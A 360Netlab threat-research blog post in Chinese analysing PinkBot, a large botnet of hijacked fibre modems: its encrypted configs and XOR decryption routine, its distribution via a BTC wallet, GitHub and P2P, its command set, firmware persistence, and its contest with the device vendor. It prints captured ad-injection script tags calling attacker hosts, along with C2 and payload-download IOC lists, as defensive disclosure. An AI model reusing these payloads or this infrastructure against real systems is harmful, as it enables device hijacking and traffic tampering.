Botnet

一个藏在我们身边的巨型僵尸网络 Pink

360Netlab
Oct 26, 2021 • 23 min read

本文完成于2020年春节前后，为维护广大最终消费者的利益，一直处于保密期无法发表。近日 CNCERT 公开披露了相关事件，令本文有了公开契机。在保密期的这段时间里，Pink 也出现一些新的小变动，笔者筛选了其中一部分放到“新动向”章节，供其他同仁共同追踪研究。

概述

2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。

Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，在360Netlab的独立测量中，总感染量超过160万，其中 96% 位于中国。

PinkBot 具有很强的技术能力：

1. PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；
2. PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；

3. 在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。

可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。

规模及影响范围

我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：

1. 2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;
2. 2020-01-02从CNCERT拿到的统计结果：
   “该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”
3. 根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。

在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。

PinkBot 技术架构

PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较

高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。

配置信息

对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：

```
{
  "verify": "1585065675",
  "cncip1": "144.202.109.110",
  "cncport1": "32876",
  "dlc": "5b62596bc1453d51cc7241086464f294",
  "dl": "http【:】//155.138.140.245/dlist.txt",
  "dlc1": "484417e6f65c8e18e684d60c03c4680a",
  "dl1": "https【:】//*****.com/johncase/zip/raw/master/dlist.txt",
  "sd0": "1.1.1.1",
  "sdp0": "443",
  "srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
  "pxy": "1"
}
```

1. 其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。
2. 随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。
3. 再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。
4. “sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。
5. srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。

6. pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。

配置信息的保护

通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：

```
def easydecrpyt(message):
    res = ""
    for cursor in range(0, len(message)):
        mbt = ord(message[cursor])
        res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
    return res
```

信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：

1. 签名校验使用的密码库为 mbedtls；
2. 签名算法为 ECDSA；
3. 签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；
4. 验签所用公钥为：`04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E`

配置信息的分发

除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。

a) 通过第三方服务分发配置信息

1. 通过 BTC+GITHUB 分发配置信息

该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。

其中，模式为 `P!!<base64>I!!` 行是配置签名，模式为 `N!!<base64>K!!` 行是配置信息的密文。

但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[`1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF`]的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：

对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 `...!<base64>...?` 的字串，比如我们最近找到的一个就是 `...!L215cG9sbzExMS92Zmc=...?` 将这个base64 还原，就是隐藏项目的地址了 `mypolo111/vfg`

再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。

另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：

PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。

2. 通过 某中文社区 分发配置信息

攻击者在少部分样本中还尝试利用“某中文社区”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。

b) 通过 P2P 方式分发配置信息

1. P2P-Over-UDP123 分发配置信息

Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 `1C 00 00 00` 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：

- 当目标Bot未取得主控信息时回复 `1D 00 00 00`；
- 当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。

下图是最近捕获到的UDP-123 传递的配置信息。

2. 通过 P2P-Over-TCP 分发配置信息

Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：

交互协议的格式同UDP123上的相同。

c) 通过 CNC 分发配置信息

攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。

PinkBot 指令

指令格式

每条指令至少包含7字节，含义依此如下：

1. Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此

刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。

2. 指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。
3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。
4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。

这里附上一张截图供参阅，其中红框标记的就是指令字段：

指令传输方式

a) 通讯加密

上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：

1. 使用的密码学库为：`mbedtls`；
2. 密钥交换阶段使用的交换算法 `ecdh`，加载曲线为 `MBEDTLS_ECP_DP_CURVE25519`；
3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：`14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D`
4. 报文加密/解密阶段使用的算法为 `aes`, key 为密钥交换后的secret，加载参数为 `MBEDTLS_AES_ENCRYPT` 和 `MBEDTLS_AES_DECRYPT`；
5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。

b) 指令内容编码

为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库nanopb 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。

指令功能

PinkBot 指令具有丰富的控制能力：

1. *文件下载*
2. *系统命令执行*
3. *DDoS攻击（HTTP攻击和 UDP 攻击）*
4. *扫描功能（扫描的具体内容可以通过指令设置）*
5. *汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）*
6. *自身更新（将新版本保存到 /tmp/client 后运行）*
7. *P2P节点列表同步（直接推送一组P2P节点到Bot）*
8. *http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）*
9. *启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）*
10. *下载文件并执行*
11. *停止攻击*
12. *重置watchdog*

PinkBot 持久化方式

与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。

下图是被感染后新增/修改的文件列表：

其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。

关键文件说明：

- /bin/protect：`md5:9ec5bd857b998e60663e88a70480b828`

protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。

- /bin/tr69c: `md5:451a3cf94191c64b5cd1be1a80be7799`

tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。

跟踪及处置

规模评估

前面提到，Pink 具有通过 p2p 方式来分发非实时性指令信息的特性。利用这个特性，我们得以在全网范围内对 PinkBot 的感染量进行评估，最终得出的全球受感染IP超过160w的 这个结论。

指令跟踪

我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：

```
<script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src="http【:】//114.55.124.13/j/?$$"></script>
```

汇报及处置

360公司为维护广大最终消费者的利益，做了以下处置工作：

1. 通报各级监管机构；
2. 依法配合执法机构行动；
3. 联合设备供应商进行安全防御；
4. 在360系列安全浏览器、安全DNS上阻断PinkBot相关控制域名、插播广告域名；
5. 联合若干互联网基础设施供应商共同监控PinkBot行动。

新动向

本文其他部分，均完成于2020年春节前后，到现在已经度过了一年半的时光。在这段时间中，我们没有发现 Pink 出现太大的变动，本节附上了一些最新的线索，供同仁们共同研究和追踪。

最新传播的配置信息

随着对 pink 的持续追踪，我们发现，pink 的配置信息会间歇性发生变化，变动内容主要体现在 CNC 字段和 DL* 字段，并于最近几个月趋于稳定。下面是我们在 2021/10/5(北京时间) 捕获的最新配置信息。

```
{
 "verify":"1611936001",
 "cncip1":"140.82.40.29",
 "cncport1":"26007",
 "dlc":"450aa79da035a8a55ca4c0e6b1025b50",
 "dl":"http://209.250.247.60/dlist.txt",
 "dlc1":"47ed94977b45099f1ef5c7701b2d25dc",
 "dl1":"https://****.com/****/dlist.txt",
 "sd0":"1.1.1.1",
 "sdp0":"443",
```

```
 "srvk":"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
 "pxy":"1"
}
```

当前规模

我们一直阶段性的对公网上的 Pink 节点进行持续监测，通过对 2021/10/20日的日志分析，我们仍然可以看到 103024 个 IP 处于日活状态。这表明，当前的 pink 的感染规模仍然在 10w 量级左右，涉及多家设备厂商，按照每个IP对应一个三口之家来计算，受影响人群大概 30w 人左右。按照每个光猫 100 元的更换成本计算，当前仍有上千万损失等待弥补。

曾发起 DDoS 攻击

文章编写完成时，我们并没有抓到 Pink 发起 ddos 攻击的指令，但在随后的一段时间中，我们监测到了大概100多条试图发起 DDos 攻击的指令，下面筛选其中的两条，供参考：

```
2020/3/24 通过UDP协议，攻击 203.56.252.137:26999
2020/4/8  通过HTTP协议，攻击 180.101.192.199:27020
```

番外：Pink 对抗的能力

在对 Pink 僵尸网络分析跟踪的过程中。我们注意到，攻击者和不同厂商进行过多次的攻防对抗。
这一章节将简单介绍下在对抗中， Pink 展现出来的一些能力。

设备厂商的博弈

根据相关厂商之一提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接

口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。

第一次对抗: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。

第二次对抗：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。

第三次对抗：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。

最后的方案：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。

复盘总结：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。另一方面，将物联网设备供应商与成熟的系统供应商在安全能力方面对比（例如Windows、安卓或者MacOS），后者拥有成熟的多的安全人员建制和丰富的多的安全对抗经验。再考虑到物联网设备数量众多，多得多的数量加上少的多的防御，更多的攻击转向物联网设备是老道攻击者的自然选择。

GITHUB 封相关账号

我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。

目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。

复盘总结：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。

IOC

C&C地址

通过长期跟踪，攻击者使用过的CNC地址有：

```
cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
```

PS: 我们的DNSMon系统，早在2019年12月28日，在我们的人工分析介入之前，就自动已经标示控制域名 cnc.pinklander.com 有重大嫌疑并在360的安全DNS服务中（https://dns.360.cn/）拦截了。

PPS: 顺道说一句，我们的 DNSMon 系统，已于近日改名 DTA ，并开启商业化之路(https://blog.netlab.360.com/360dta-announced/)，感兴趣的伙伴们可以自行移步了解相关事宜。

同步服务

PinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。
在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的 `配置信息` 中。

```
http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//***.com/**/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
```

MD5

通过跟踪获取到的相关样本（ELF）汇总如下：

```
9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
```

```
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
```

穆鸿翔

3 years ago

它这里用 BTC 其实是很不明智的，因为 BTC 网络历史太大，肉鸡节点不可能同步，仔细一看居然是走的一些国外的 BTC 统计数据查询网站的 API，这也太好封堵了，更何况感染对象是光猫。这也就是仅仅能做到不易反追踪罢了，就拿 BTC 来说，获取某个钱包的最新交易信息还有 SPV (Simplified Payment Verification) 的方案。

1 0 Reply

zeocax → 穆鸿翔

3 years ago

这个方式应该是基于算法本身不被得到的情况下，按文中实现方式，得到地址后你都可以转账过去改变最新两笔交易的hash值。
所以说事实上他应该都不是那个地址的控制者，只是随便选了一个有两笔交易的地址。

0 0 Reply

rootkiter → 穆鸿翔

3 years ago

它是通过多种获取途径获取配置信息的，BTC只是其中一条，单看哪一条，都有机会从相对应的位置入手实现封堵，但是当它有5条路同时走的通的时候，就不容易封堵了。需要协调的是指数级的社会资源和人力资源。

1 0 Reply

穆鸿翔 → rootkiter

3 years ago

确实，多线渠道是会比较难封堵的，我这里主要是强调如果用上了真 P2P 技术也会很难封堵。ta这种方案反而跟比特币本身的去中心化技术没什么关系了。

0 0 Reply

rootkiter → 穆鸿翔

3 years ago

文内也没说用了比特币的去中心啊

0 0 Reply

— 360 Netlab Blog - Network Security Research Lab at 360 —

Botnet

僵尸网络911 S5的数字遗产

Heads up! Xdr33, A Variant Of CIA's HIVE Attack Kit Emerges

警惕：魔改后的CIA攻击套件Hive进入黑灰产领域

See all 114 posts →

Import 2022-11-30 11:16

Pink, a botnet that competed with the vendor to control the massive infected devices

Most of the following article was completed around early 2020, at that time the vendor was trying different ways to recover the massive amount of infected devices, we shared our findings with the vendor, as well as to CNCERT, and decided to not publish the blog while the vendor'

· Oct 29, 2021 · 15 min read

DTA

七年一剑，360 DNS威胁分析平台

360Netlab (360 网络安全研究院) 自2014年成立以来，大网...

· Oct 21, 2021 · 12 min read